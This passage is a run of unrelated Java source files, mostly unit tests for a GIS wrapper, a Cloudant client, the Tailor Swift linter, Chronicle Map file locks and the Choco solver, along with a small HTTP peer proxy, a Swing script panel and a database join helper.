et.getValue(); for( Map mapRow : mapLst ) { for(String k : padSet ) { if(!mapRow.containsKey(k)) { mapRow.put( k , null ); } } } } } else { Object padDat = ! multi ? new HashMap() : new ArrayList(); for(Map.Entry<String, List> et : map.entrySet()) { String colKey = et.getKey(); if (idz.contains( colKey )) { continue; } List<Map> mapLst = et.getValue(); for( Map mapRow : mapLst ) { if(!mapRow.containsKey(name)) { mapRow.put(name, padDat); } } } } } /** * * SQL: JOIN table ON table.col = super.key * @param table * @param caze * @param key * @param col * @throws app.hongs.HongsException */ public void join(Table table, FetchCase caze, String key, String col) throws HongsException { Map<String, List> map = this.mapped(key); join(table, caze, map , col); } /** * * SQL: JOIN table ON table.col = super.key * @param table * @param key * @param col * @throws app.hongs.HongsException */ public void join(Table table, String key, String col) throws HongsException { join(table, new FetchCase( ), key, col); } /** * * SQL: JOIN table ON table.col = super.col * @param table * @param col * @throws app.hongs.HongsException */ public void join(Table table, String col) throws HongsException { join(table, new FetchCase( ), col, col); } }
package ol.geom; import ol.Coordinate; import ol.GwtOL3BaseTestCase; import ol.OLFactory; /** * A test case for {@link Circle}. * * @author Tino Desjardins */ public class CircleTest extends GwtOL3BaseTestCase { public void testCircle() { injectUrlAndTest(new TestWithInjection() { @Override public void test() { double radius = 5; Circle circle = OLFactory.createCircle(OLFactory.createCoordinate(10, 10), radius); assertNotNull(circle); assertTrue(circle instanceof Geometry); Coordinate coordinate = circle.getCenter(); assertNotNull(coordinate); assert(10 == coordinate.getX()); assert(10 == coordinate.getY()); assert(radius == circle.getRadius()); }}); } }
package org.pillowsky.securehttp; import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.PrintStream; import java.io.PrintWriter; import java.io.IOException; import java.net.Socket; import java.net.ServerSocket; import java.net.InetAddress; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.concurrent.Executors; import java.util.concurrent.ExecutorService; import java.util.Date; public class Peer implements Runnable { private String localAddr; private int localPort; private String remoteAddr; private int remotePort; private ServerSocket serverSocket; private ExecutorService pool; private DateFormat logFormat; public Peer(String localAddr, int localPort, String remoteAddr, int remotePort) throws IOException { this.localAddr = localAddr; this.localPort = localPort; this.remoteAddr = remoteAddr; this.remotePort = remotePort; this.serverSocket = new ServerSocket(localPort, 50, InetAddress.getByName(localAddr)); this.pool = Executors.newCachedThreadPool(); this.logFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); } @Override public void run() { while (true) { try { pool.execute(new RequestHandler(serverSocket.accept())); } catch (IOException e) { e.printStackTrace(); } } } public class RequestHandler implements Runnable { private Socket clientSocket; private String clientAddr; private int clientPort; RequestHandler(Socket socket) { this.clientSocket = socket; this.clientAddr = socket.getInetAddress().getHostAddress(); this.clientPort = socket.getPort(); } @Override public void run() { try { BufferedReader in = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); PrintWriter out = new PrintWriter(clientSocket.getOutputStream()); String response; String line = in.readLine(); String[] words = line.split(" "); while (in.readLine().length() > 0) {}; System.out.format("[%s] %s:%d %s%n", logFormat.format(new Date()), clientAddr, clientPort, line); switch (words[0]) { case "GET": switch (words[1]) { case "/": response = local(); break; default: response = notFound(); } break; case "POST": switch (words[1]) { case "/remote": response = remote(); break; case "/portal": response = portal(); break; default: response = notFound(); } break; default: response = notFound(); } out.print(response); out.flush(); clientSocket.close(); } catch(IOException e) { e.printStackTrace(); } } private String local() { StringBuilder body = new StringBuilder(); body.append("<form action='/remote' method='post'>"); body.append(String.format("<p>Local Page on %s:%d</p>", localAddr, localPort)); body.append(String.format("<p>Access From %s:%d</p>", clientAddr, clientPort)); body.append("<input type='submit' value='Visit Remote Page' />"); body.append("</form>"); return buildResponse(body, "200 OK"); } private String remote() { try { Socket proxySocket = new Socket(remoteAddr, remotePort); PrintStream out = new PrintStream(proxySocket.getOutputStream()); InputStreamReader in = new InputStreamReader(proxySocket.getInputStream()); out.println("POST /portal HTTP/1.0"); out.println(); out.flush(); StringBuilder body = new StringBuilder(); char[] buffer = new char[8192]; while (in.read(buffer) > 0) { body.append(buffer); } proxySocket.close(); return body.toString(); } catch(IOException e) { e.printStackTrace(); return buildResponse(e.toString(), "500 Internal Server Error"); } } private String portal() { StringBuilder body = new StringBuilder(); body.append(String.format("<p>Remote Page on %s:%d</p>", localAddr, localPort)); body.append(String.format("<p>Access From %s:%d</p>", clientAddr, clientPort)); body.append("<a href='/'><button>Visit Local Page</button></a>"); return buildResponse(body, "200 OK"); } private String notFound() { return buildResponse("404 Not Found", "404 Not Found"); } private String buildResponse(CharSequence body, String textStatus) { StringBuilder response = new StringBuilder(); response.append(String.format("HTTP/1.0 %s%n", textStatus)); response.append("Server: SecureHTTP\n"); response.append("Content-Type: text/html; charset=UTF-8\n"); response.append(String.format("Content-Length: %d%n%n", body.length())); response.append(body); response.append("\n\n"); return response.toString(); } } }
package com.health.gui; import java.awt.BorderLayout; import java.awt.Color; import java.awt.FlowLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.io.IOException; import java.util.ArrayList; import javax.swing.BorderFactory; import javax.swing.JButton; import javax.swing.JPanel; import javax.swing.JTextArea; import javax.swing.JTextField; import javax.swing.border.EmptyBorder; import javax.xml.parsers.ParserConfigurationException; import org.xml.sax.SAXException; import com.health.Table; import com.health.control.InputData; import com.health.control.ControlModule; import com.health.input.Input; import com.health.input.InputException; /** * class creates and fills the panel for scripting. * * @author Daan */ public class ScriptPanel extends JPanel { private static JTextArea scriptArea; /** * function creates and fill the panel. */ public ScriptPanel() { this.setLayout(new BorderLayout()); JPanel panel = new JPanel(new BorderLayout()); scriptArea = new JTextArea(2, 1); scriptArea.setBorder(BorderFactory.createLineBorder(Color.black)); panel.add(scriptArea, BorderLayout.CENTER); JButton startAnalasisButton = new JButton("Start Analysis"); startAnalasisButton.addActionListener(new ListenForStartAnalysis()); JPanel southPanel = new JPanel(new FlowLayout(FlowLayout.RIGHT)); southPanel.add(startAnalasisButton); panel.add(southPanel, BorderLayout.SOUTH); JTextField textAbove = new JTextField("Script: "); textAbove.setEditable(false); textAbove.setDisabledTextColor(Color.black); panel.add(textAbove, BorderLayout.NORTH); panel.setBorder(new EmptyBorder(10, 80, 10, 80)); this.add(panel, BorderLayout.CENTER); } /** * get the script area component. * * @return scriptArea the component of the scriptarea. */ public static JTextArea getScriptArea() { return scriptArea; } /** * handle start analysis button. * * @author daan * */ private class ListenForStartAnalysis implements ActionListener { /** * Makes inputData array and calls the control module. * * @param e */ public void actionPerformed(final ActionEvent e) { ArrayList<FileListingRow> files = FileListing.getFileListingRows(); String xmlFormat = "", fileString = ""; Table parsedData = null; for (int i = 0; i < files.size(); i++) { xmlFormat = files.get(i).getXmlFormat().getSelectedItem().toString(); fileString = files.get(i).getFileString(); xmlFormat = GUImain.PATHTOXMLFORMATS + xmlFormat + ".xml"; System.out.println(xmlFormat + " " + fileString); } try { parsedData = Input.readTable(fileString, xmlFormat); } catch (IOException | ParserConfigurationException | SAXException | InputException e1) { System.out.println("Error: Something went wrong parsing the config and data!"); e1.printStackTrace(); } String script = ScriptPanel.getScriptArea().getText(); ControlModule control = new ControlModule(parsedData, script); String output = control.startAnalysis(); OutputDataPanel.displayData(output); } } }
package com.cloudant.tests; import static org.hamcrest.CoreMatchers.is; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertThat; import java.util.List; import java.util.Properties; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.junit.AfterClass; import org.junit.BeforeClass; import org.junit.Test; import com.cloudant.client.api.Changes; import com.cloudant.client.api.CloudantClient; import com.cloudant.client.api.Database; import com.cloudant.client.api.model.ChangesResult; import com.cloudant.client.api.model.ChangesResult.Row; import com.cloudant.client.api.model.DbInfo; import com.cloudant.client.api.model.Response; import com.cloudant.tests.util.Utils; import com.google.gson.JsonObject; public class ChangeNotificationsTest { private static final Log log = LogFactory.getLog(ChangeNotificationsTest.class); private static CloudantClient dbClient; private static Properties props ; private static Database db; @BeforeClass public static void setUpClass() { props = Utils.getProperties("cloudant.properties",log); dbClient = new CloudantClient(props.getProperty("cloudant.account"), props.getProperty("cloudant.username"), props.getProperty("cloudant.password")); db = dbClient.database("lightcouch-db-test", true); } @AfterClass public static void tearDownClass() { dbClient.shutdown(); } @Test public void changes_normalFeed() { db.save(new Foo()); ChangesResult changes = db.changes() .includeDocs(true) .limit(1) .getChanges(); List<ChangesResult.Row> rows = changes.getResults(); for (Row row : rows) { List<ChangesResult.Row.Rev> revs = row.getChanges(); String docId = row.getId(); JsonObject doc = row.getDoc(); assertNotNull(revs); assertNotNull(docId); assertNotNull(doc); } assertThat(rows.size(), is(1)); } @Test public void changes_continuousFeed() { db.save(new Foo()); DbInfo dbInfo = db.info(); String since = dbInfo.getUpdateSeq(); Changes changes = db.changes() .includeDocs(true) .since(since) .heartBeat(30000) .continuousChanges(); Response response = db.save(new Foo()); while (changes.hasNext()) { ChangesResult.Row feed = changes.next(); final JsonObject feedObject = feed.getDoc(); final String docId = feed.getId(); assertEquals(response.getId(), docId); assertNotNull(feedObject); changes.stop(); } } }
package com.sleekbyte.tailor.functional; import static org.junit.Assert.assertArrayEquals; import com.google.gson.Gson; import com.google.gson.GsonBuilder; import com.sleekbyte.tailor.Tailor; import com.sleekbyte.tailor.common.Messages; import com.sleekbyte.tailor.common.Rules; import com.sleekbyte.tailor.common.Severity; import com.sleekbyte.tailor.format.Format; import com.sleekbyte.tailor.output.Printer; import com.sleekbyte.tailor.output.ViolationMessage; import org.junit.After; import org.junit.Before; import org.junit.Rule; import org.junit.Test; import org.junit.rules.TemporaryFolder; import org.junit.runner.RunWith; import org.mockito.runners.MockitoJUnitRunner; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStreamWriter; import java.io.PrintStream; import java.io.PrintWriter; import java.io.Writer; import java.nio.charset.Charset; import java.util.ArrayList; import java.util.Arrays; import java.util.HashMap; import java.util.LinkedHashMap; import java.util.List; import java.util.Map; import java.util.stream.Collectors; /** * Tests for {@link Tailor} output formats. */ @RunWith(MockitoJUnitRunner.class) public final class FormatTest { protected static final String TEST_INPUT_DIR = "src/test/swift/com/sleekbyte/tailor/functional"; protected static final String NEWLINE_REGEX = "\\r?\\n"; protected static final Gson GSON = new GsonBuilder().disableHtmlEscaping().setPrettyPrinting().create(); protected ByteArrayOutputStream outContent; protected File inputFile; protected List<String> expectedMessages; @Rule public TemporaryFolder folder = new TemporaryFolder(); @Before public void setUp() throws IOException { inputFile = new File(TEST_INPUT_DIR + "/UpperCamelCaseTest.swift"); expectedMessages = new ArrayList<>(); outContent = new ByteArrayOutputStream(); System.setOut(new PrintStream(outContent, false, Charset.defaultCharset().name())); } @After public void tearDown() { System.setOut(null); } @Test public void testXcodeFormat() throws IOException { Format format = Format.XCODE; final String[] command = new String[] { "--format", format.getName(), "--no-color", "--only=upper-camel-case", inputFile.getPath() }; expectedMessages.addAll(getExpectedMsgs().stream().map(msg -> Printer.genOutputStringForTest( msg.getRule(), inputFile.getName(), msg.getLineNumber(), msg.getColumnNumber(), msg.getSeverity(), msg.getMessage())).collect(Collectors.toList())); Tailor.main(command); List<String> actualOutput = new ArrayList<>(); String[] msgs = outContent.toString(Charset.defaultCharset().name()).split(NEWLINE_REGEX); // Skip first four lines for file header, last two lines for summary msgs = Arrays.copyOfRange(msgs, 4, msgs.length - 2); for (String msg : msgs) { String truncatedMsg = msg.substring(msg.indexOf(inputFile.getName())); actualOutput.add(truncatedMsg); } assertArrayEquals(outContent.toString(Charset.defaultCharset().name()), this.expectedMessages.toArray(), actualOutput.toArray()); } @Test public void testJSONFormat() throws IOException { Format format = Format.JSON; final String[] command = new String[] { "--format", format.getName(), "--no-color", "--only=upper-camel-case", inputFile.getPath() }; Map<String, Object> expectedOutput = getJSONMessages(); Tailor.main(command); String[] msgs = outContent.toString(Charset.defaultCharset().name()).split(NEWLINE_REGEX); List<String> expected = new ArrayList<>(); List<String> actual = new ArrayList<>(); expectedMessages.addAll( Arrays.asList((GSON.toJson(expectedOutput) + System.lineSeparator()).split(NEWLINE_REGEX))); for (String msg : expectedMessages) { String strippedMsg = msg.replaceAll(inputFile.getCanonicalPath(), ""); expected.add(strippedMsg); } for (String msg : msgs) { String strippedMsg = msg.replaceAll(inputFile.getCanonicalPath(), ""); actual.add(strippedMsg); } assertArrayEquals(outContent.toString(Charset.defaultCharset().name()), expected.toArray(), actual.toArray()); } @Test public void testXcodeConfigOption() throws IOException { File configurationFile = xcodeFormatConfigFile(".tailor.yml"); final String[] command = new String[] { "--config", configurationFile.getAbsolutePath(), "--no-color", "--only=upper-camel-case", inputFile.getPath() }; expectedMessages.addAll(getExpectedMsgs().stream().map(msg -> Printer.genOutputStringForTest( msg.getRule(), inputFile.getName(), msg.getLineNumber(), msg.getColumnNumber(), msg.getSeverity(), msg.getMessage())).collect(Collectors.toList())); Tailor.main(command); List<String> actualOutput = new ArrayList<>(); String[] msgs = outContent.toString(Charset.defaultCharset().name()).split(NEWLINE_REGEX); // Skip first two lines for file header, last two lines for summary msgs = Arrays.copyOfRange(msgs, 2, msgs.length - 2); for (String msg : msgs) { String truncatedMsg = msg.substring(msg.indexOf(inputFile.getName())); actualOutput.add(truncatedMsg); } assertArrayEquals(outContent.toString(Charset.defaultCharset().name()), this.expectedMessages.toArray(), actualOutput.toArray()); } protected List<ViolationMessage> getExpectedMsgs() { List<ViolationMessage> messages = new ArrayList<>(); messages.add(createViolationMessage(3, 7, Severity.WARNING, Messages.CLASS + Messages.NAMES)); messages.add(createViolationMessage(7, 7, Severity.WARNING, Messages.CLASS + Messages.NAMES)); messages.add(createViolationMessage(24, 8, Severity.WARNING, Messages.ENUM_CASE + Messages.NAMES)); messages.add(createViolationMessage(25, 8, Severity.WARNING, Messages.ENUM_CASE + Messages.NAMES)); messages.add(createViolationMessage(26, 8, Severity.WARNING, Messages.ENUM_CASE + Messages.NAMES)); messages.add(createViolationMessage(42, 6, Severity.WARNING, Messages.ENUM + Messages.NAMES)); messages.add(createViolationMessage(43, 8, Severity.WARNING, Messages.ENUM_CASE + Messages.NAMES)); messages.add(createViolationMessage(46, 6, Severity.WARNING, Messages.ENUM + Messages.NAMES)); messages.add(createViolationMessage(47, 8, Severity.WARNING, Messages.ENUM_CASE + Messages.NAMES)); messages.add(createViolationMessage(50, 6, Severity.WARNING, Messages.ENUM + Messages.NAMES)); messages.add(createViolationMessage(55, 8, Severity.WARNING, Messages.ENUM_CASE + Messages.NAMES)); messages.add(createViolationMessage(63, 8, Severity.WARNING, Messages.ENUM_CASE + Messages.NAMES)); messages.add(createViolationMessage(72, 8, Severity.WARNING, Messages.STRUCT + Messages.NAMES)); messages.add(createViolationMessage(76, 8, Severity.WARNING, Messages.STRUCT + Messages.NAMES)); messages.add(createViolationMessage(90, 10, Severity.WARNING, Messages.PROTOCOL + Messages.NAMES)); messages.add(createViolationMessage(94, 10, Severity.WARNING, Messages.PROTOCOL + Messages.NAMES)); messages.add(createViolationMessage(98, 10, Severity.WARNING, Messages.PROTOCOL + Messages.NAMES)); messages.add(createViolationMessage(107, 10, Severity.WARNING, Messages.ENUM_CASE + Messages.NAMES)); messages.add(createViolationMessage(119, 18, Severity.WARNING, Messages.GENERIC_PARAMETERS + Messages.NAMES)); messages.add(createViolationMessage(119, 23, Severity.WARNING, Messages.GENERIC_PARAMETERS + Messages.NAMES)); messages.add(createViolationMessage(128, 20, Severity.WARNING, Messages.GENERIC_PARAMETERS + Messages.NAMES)); messages.add(createViolationMessage(137, 14, Severity.WARNING, Messages.GENERIC_PARAMETERS + Messages.NAMES)); return messages; } private ViolationMessage createViolationMessage(int line, int column, Severity severity, String msg) { return new ViolationMessage(Rules.UPPER_CAMEL_CASE, line, column, severity, msg + Messages.UPPER_CAMEL_CASE); } private Map<String, Object> getJSONSummary(long analyzed, long skipped, long errors, long warnings) { Map<String, Object> summary = new HashMap<>(); summary.put(Messages.ANALYZED_KEY, analyzed); summary.put(Messages.SKIPPED_KEY, skipped); summary.put(Messages.VIOLATIONS_KEY, errors + warnings); summary.put(Messages.ERRORS_KEY, errors); summary.put(Messages.WARNINGS_KEY, warnings); return summary; } private Map<String, Object> getJSONMessages() { List<Map<String, Object>> violations = new ArrayList<>(); for (ViolationMessage msg : getExpectedMsgs()) { Map<String, Object> violation = new HashMap<>(); Map<String, Object> location = new HashMap<>(); location.put(Messages.LINE_KEY, msg.getLineNumber()); location.put(Messages.COLUMN_KEY, msg.getColumnNumber()); violation.put(Messages.LOCATION_KEY, location); violation.put(Messages.SEVERITY_KEY, msg.getSeverity().toString()); violation.put(Messages.RULE_KEY, Rules.UPPER_CAMEL_CASE.getName()); violation.put(Messages.MESSAGE_KEY, msg.getMessage()); violations.add(violation); } Map<String, Object> file = new HashMap<>(); file.put(Messages.PATH_KEY, ""); file.put(Messages.PARSED_KEY, true); file.put(Messages.VIOLATIONS_KEY, violations); List<Object> files = new ArrayList<>(); files.add(file); Map<String, Object> expectedOutput = new LinkedHashMap<>(); expectedOutput.put(Messages.FILES_KEY, files); expectedOutput.put(Messages.SUMMARY_KEY, getJSONSummary(1, 0, 0, 22)); return expectedOutput; } private File xcodeFormatConfigFile(String fileName) throws IOException { File configFile = folder.newFile(fileName); Writer streamWriter = new OutputStreamWriter(new FileOutputStream(configFile), Charset.forName("UTF-8")); PrintWriter printWriter = new PrintWriter(streamWriter); printWriter.println("format: xcode"); streamWriter.close(); printWriter.close(); return configFile; } }
package com.treasure_data.tools; import java.util.Properties; import org.junit.Ignore; import org.junit.Test; import com.treasure_data.commands.Config; public class TestBulkImportTool { @Test @Ignore public void testPrepareUploadPartsSample() throws Exception { // bulk_import:create mugasess mugadb sesstest Properties props = System.getProperties(); props.load(this.getClass().getClassLoader().getResourceAsStream("treasure-data.properties")); props.setProperty(Config.BI_PREPARE_PARTS_COLUMNHEADER, "true"); props.setProperty(Config.BI_PREPARE_PARTS_TIMECOLUMN, "date_code"); props.setProperty(Config.BI_PREPARE_PARTS_OUTPUTDIR, "./out/"); props.setProperty(Config.BI_UPLOAD_PARTS_AUTOPERFORM, "true"); props.setProperty(Config.BI_UPLOAD_PARTS_AUTOCOMMIT, "false"); final String[] args = new String[] { "upload_parts", //"prepare_parts", "mugasess", "./in/from_SQLServer_to_csv_10_v01.csv", "./in/from_SQLServer_to_csv_10_v02.csv", "./in/from_SQLServer_to_csv_10_v03.csv", }; BulkImportTool.uploadParts(args, props); //BulkImportTool.prepareParts(args, props); } @Test @Ignore public void testUploadPartsSample() throws Exception { // bulk_import:create mugasess mugadb sesstest Properties props = System.getProperties(); props.load(this.getClass().getClassLoader().getResourceAsStream("treasure-data.properties")); final String[] args = new String[] { "upload_parts", "mugasess", "./out/from_SQLServer_to_csv_10_csv_0.msgpack.gz", "./out/from_SQLServer_to_csv_10_csv_1.msgpack.gz", }; BulkImportTool.uploadParts(args, props); } @Test @Ignore public void testSample() throws Exception { Properties props = System.getProperties(); props.setProperty(Config.BI_PREPARE_PARTS_COLUMNS, "time,name,price"); props.setProperty(Config.BI_PREPARE_PARTS_COLUMNTYPES, "string,string,string"); props.setProperty(Config.BI_PREPARE_PARTS_TIMECOLUMN, "time"); props.setProperty(Config.BI_PREPARE_PARTS_OUTPUTDIR, "./out/"); props.setProperty(Config.BI_PREPARE_PARTS_FORMAT, "csv"); final String[] args = new String[] { "prepare_parts", "./in/test01.csv", "./in/test02.csv", }; BulkImportTool.prepareParts(args, props); } @Test @Ignore public void testSample2() throws Exception { Properties props = System.getProperties(); props.setProperty(Config.BI_PREPARE_PARTS_COLUMNHEADER, "true"); //props.setProperty(Config.BI_PREPARE_PARTS_COLUMNS, "date_code,customer_code,product_code,employee_code,pay_method_code,credit_company_code,amount_of_sales,total_sales,original_price,discount_amount,card_point,motivate_code,delete_flag"); //props.setProperty(Config.BI_PREPARE_PARTS_COLUMNS, "time,name,count"); //props.setProperty(Config.BI_PREPARE_PARTS_COLUMNTYPES, "string,string,string,string,string,string,string,string,string,string,string,string,string"); //props.setProperty(Config.BI_PREPARE_PARTS_COLUMNTYPES, "long,string,int"); props.setProperty(Config.BI_PREPARE_PARTS_COLUMNTYPES, "long,string,string,string,string,string,string,string,string,string,string,string,string"); props.setProperty(Config.BI_PREPARE_PARTS_TIMECOLUMN, "date_code"); props.setProperty(Config.BI_PREPARE_PARTS_OUTPUTDIR, "./out/"); final String[] args = new String[] { "prepare_parts", "./from_SQLServer_to_csv_10.csv", //"./in/test01.csv", //"./in/test02.csv", }; BulkImportTool.prepareParts(args, props); } @Test @Ignore public void testSample4() throws Exception { Properties props = System.getProperties(); props.setProperty(Config.BI_PREPARE_PARTS_COLUMNHEADER, "true"); //props.setProperty(Config.BI_PREPARE_PARTS_COLUMNS, "date_code,customer_code,product_code,employee_code,pay_method_code,credit_company_code,amount_of_sales,total_sales,original_price,discount_amount,card_point,motivate_code,delete_flag"); //props.setProperty(Config.BI_PREPARE_PARTS_COLUMNTYPES, "string,string,string,string,string,string,string,string,string,string,string,string,string"); props.setProperty(Config.BI_PREPARE_PARTS_COLUMNTYPES, "string,string,string,string,string,string,string,string,string,string,string,string,string"); props.setProperty(Config.BI_PREPARE_PARTS_TIMEVALUE, "1358069100"); props.setProperty(Config.BI_PREPARE_PARTS_OUTPUTDIR, "./out/"); props.setProperty(Config.BI_PREPARE_PARTS_FORMAT, "csv"); final String[] args = new String[] { "prepare_parts", "./in/from_SQLServer_to_csv_10_v01.csv", "./in/from_SQLServer_to_csv_10_v02.csv", "./in/from_SQLServer_to_csv_10_v03.csv", "./in/from_SQLServer_to_csv_10_v04.csv", "./in/from_SQLServer_to_csv_10_v05.csv", "./in/from_SQLServer_to_csv_10_v06.csv", "./in/from_SQLServer_to_csv_10_v07.csv", "./in/from_SQLServer_to_csv_10_v08.csv", "./in/from_SQLServer_to_csv_10_v09.csv", }; BulkImportTool.prepareParts(args, props); } @Test @Ignore public void testSample3() throws Exception { Properties props = System.getProperties(); props.setProperty(Config.BI_PREPARE_PARTS_COLUMNS, "date_code,customer_code,product_code,employee_code,pay_method_code,credit_company_code,amount_of_sales,total_sales,original_price,discount_amount,card_point,motivate_code,delete_flag"); //props.setProperty(Config.BI_PREPARE_PARTS_COLUMNTYPES, "string,string,string,string,string,string,string,string,string,string,string,string,string"); props.setProperty(Config.BI_PREPARE_PARTS_COLUMNTYPES, "string,string,string,string,string,string,string,string,string,string,string,string,string"); props.setProperty(Config.BI_PREPARE_PARTS_TIMEVALUE, "1358069100"); props.setProperty(Config.BI_PREPARE_PARTS_OUTPUTDIR, "./out/"); props.setProperty(Config.BI_PREPARE_PARTS_FORMAT, "csv"); props.setProperty(Config.BI_PREPARE_PARTS_SPLIT_SIZE, "" + 1024 * 100); final String[] args = new String[] { "prepare_parts", "./from_SQLServer_to_csv_10000000.csv", }; BulkImportTool.prepareParts(args, props); } }
package net.openhft.chronicle.map; import net.openhft.chronicle.core.OS; import net.openhft.chronicle.hash.ChronicleFileLockException; import net.openhft.chronicle.hash.impl.util.CanonicalRandomAccessFiles; import org.junit.After; import org.junit.Assume; import org.junit.Before; import org.junit.Test; import java.io.File; import java.io.IOException; import java.io.RandomAccessFile; import java.nio.channels.FileChannel; import java.util.concurrent.atomic.AtomicInteger; import static org.junit.Assert.assertEquals; import static org.junit.Assert.fail; public class FileLockUtilTest { private File canonicalFile; private RandomAccessFile raf; private FileChannel fileChannel; @Before public void setUp() throws IOException { canonicalFile = new File("file.lock").getCanonicalFile(); canonicalFile.delete(); canonicalFile.createNewFile(); raf = CanonicalRandomAccessFiles.acquire(canonicalFile); fileChannel = raf.getChannel(); } @After public void cleanup() throws IOException { fileChannel.close(); CanonicalRandomAccessFiles.release(canonicalFile); } @Test public void testShared() { doNotRunOnWindows(); FileLockUtil.acquireSharedFileLock(canonicalFile, fileChannel); FileLockUtil.acquireSharedFileLock(canonicalFile, fileChannel); FileLockUtil.releaseFileLock(canonicalFile); FileLockUtil.releaseFileLock(canonicalFile); } @Test public void testExclusiveNormalCase() { doNotRunOnWindows(); FileLockUtil.acquireExclusiveFileLock(canonicalFile, fileChannel); FileLockUtil.releaseFileLock(canonicalFile); FileLockUtil.acquireExclusiveFileLock(canonicalFile, fileChannel); FileLockUtil.releaseFileLock(canonicalFile); } @Test public void testTryExclusiveButWasShared() { doNotRunOnWindows(); FileLockUtil.acquireSharedFileLock(canonicalFile, fileChannel); try { FileLockUtil.acquireExclusiveFileLock(canonicalFile, fileChannel); fail(); } catch (ChronicleFileLockException ignore) { } FileLockUtil.releaseFileLock(canonicalFile); } @Test public void testTrySharedButWasExclusive() { doNotRunOnWindows(); FileLockUtil.acquireExclusiveFileLock(canonicalFile, fileChannel); try { FileLockUtil.acquireSharedFileLock(canonicalFile, fileChannel); fail(); } catch (ChronicleFileLockException ignore) { } FileLockUtil.releaseFileLock(canonicalFile); } @Test public void testComplicated() { doNotRunOnWindows(); FileLockUtil.acquireExclusiveFileLock(canonicalFile, fileChannel); FileLockUtil.releaseFileLock(canonicalFile); FileLockUtil.acquireSharedFileLock(canonicalFile, fileChannel); FileLockUtil.acquireSharedFileLock(canonicalFile, fileChannel); FileLockUtil.releaseFileLock(canonicalFile); FileLockUtil.releaseFileLock(canonicalFile); FileLockUtil.acquireExclusiveFileLock(canonicalFile, fileChannel); FileLockUtil.releaseFileLock(canonicalFile); } @Test public void testRunExclusively() { doNotRunOnWindows(); final AtomicInteger cnt = new AtomicInteger(); FileLockUtil.runExclusively(canonicalFile, fileChannel, cnt::incrementAndGet); assertEquals(1, cnt.get()); } @Test public void testRunExclusivelyButUsed() { doNotRunOnWindows(); FileLockUtil.acquireSharedFileLock(canonicalFile, fileChannel); try { FileLockUtil.runExclusively(canonicalFile, fileChannel, () -> {}); fail(); } catch (ChronicleFileLockException e) { FileLockUtil.releaseFileLock(canonicalFile); } } private void doNotRunOnWindows() { Assume.assumeFalse(OS.isWindows()); } }
package org.chocosolver.solver.variables; import org.chocosolver.solver.*; import org.chocosolver.solver.constraints.Constraint; import org.chocosolver.solver.constraints.nary.sum.PropScalar; import org.chocosolver.solver.exception.ContradictionException; import org.chocosolver.solver.search.strategy.Search; import org.chocosolver.solver.search.strategy.selectors.values.IntDomainRandomBound; import org.chocosolver.solver.search.strategy.selectors.variables.Random; import org.chocosolver.util.iterators.DisposableValueIterator; import org.testng.Assert; import org.testng.annotations.DataProvider; import org.testng.annotations.Test; import java.util.ArrayList; import java.util.List; import static org.chocosolver.solver.constraints.Operator.EQ; import static org.chocosolver.solver.search.strategy.Search.*; import static org.testng.Assert.*; /** * <br/> * * @author Charles Prud'homme * @since 25/08/11 */ public class ViewsTest { public static void check(Model ref, Model model, long seed, boolean strict, boolean solveAll) { if (solveAll) { while (ref.getSolver().solve()) ; while (model.getSolver().solve()) ; } else { ref.getSolver().solve(); model.getSolver().solve(); } Assert.assertEquals(model.getSolver().getSolutionCount(), ref.getSolver().getSolutionCount(), "solutions (" + seed + ")"); if (strict) { Assert.assertEquals(model.getSolver().getNodeCount(), ref.getSolver().getNodeCount(), "nodes (" + seed + ")"); } else { Assert.assertTrue(ref.getSolver().getNodeCount() >= model.getSolver().getNodeCount(), seed + ""); } } @Test(groups="10s", timeOut=60000) public void test1() { // Z = X + Y // int seed = 5; for (int seed = 0; seed < 9999; seed++) { Model ref = new Model(); Model model = new Model(); model.set(new Settings() { @Override public boolean enableACOnTernarySum() { return true; } }); { IntVar x = ref.intVar("x", 0, 2, false); IntVar y = ref.intVar("y", 0, 2, false); IntVar z = ref.intVar("z", 0, 4, false); new Constraint("SP", new PropScalar(new IntVar[]{x, y, z}, new int[]{1, 1, -1}, 2, EQ, 0)).post(); ref.getSolver().setSearch(randomSearch(new IntVar[]{x, y, z}, seed)); } { IntVar x = model.intVar("x", 0, 2, false); IntVar y = model.intVar("y", 0, 2, false); IntVar z = model.intVar("Z", 0, 200, false); model.sum(new IntVar[]{x, y}, "=", z).post(); model.getSolver().setSearch(randomSearch(new IntVar[]{x, y, z}, seed)); } check(ref, model, seed, false, true); } } @Test(groups="10s", timeOut=60000) public void test1a() { // Z = X + Y (bounded) for (int seed = 0; seed < 9999; seed++) { Model ref = new Model(); Model model = new Model(); { IntVar x = ref.intVar("x", 0, 2, true); IntVar y = ref.intVar("y", 0, 2, true); IntVar z = ref.intVar("z", 0, 4, true); new Constraint("SP", new PropScalar(new IntVar[]{x, y, z}, new int[]{1, 1, -1}, 2, EQ, 0)).post(); ref.getSolver().setSearch(randomSearch(new IntVar[]{x, y, z}, seed)); } { IntVar x = model.intVar("x", 0, 2, true); IntVar y = model.intVar("y", 0, 2, true); IntVar z = model.intVar("Z", 0, 200, false); model.sum(new IntVar[]{x, y}, "=", z).post(); model.getSolver().setSearch(randomSearch(new IntVar[]{x, y, z}, seed)); } check(ref, model, seed, true, true); } } @Test(groups="1s", timeOut=60000) public void testa() { // Z = max(X + Y) for (int seed = 0; seed < 99; seed += 1) { Model ref = new Model(); Model model = new Model(); { IntVar x = ref.intVar("x", 0, 2, false); IntVar y = ref.intVar("y", 0, 2, false); IntVar z = ref.intVar("z", 0, 2, false); ref.max(z, x, y).post(); ref.getSolver().setSearch(randomSearch(new IntVar[]{x, y, z}, seed)); } { IntVar x = model.intVar("x", 0, 2, false); IntVar y = model.intVar("y", 0, 2, false); IntVar z = x.max(y).intVar(); model.getSolver().setSearch(randomSearch(new IntVar[]{x, y, z}, seed)); } check(ref, model, seed, false, true); } } @Test(groups="10s", timeOut=60000) public void test1b() { // Z = |X| for (int seed = 0; seed < 9999; seed++) { Model ref = new Model(); Model model = new Model(); { IntVar x = ref.intVar("x", -2, 2, false); IntVar z = ref.intVar("z", 0, 2, false); ref.absolute(z, 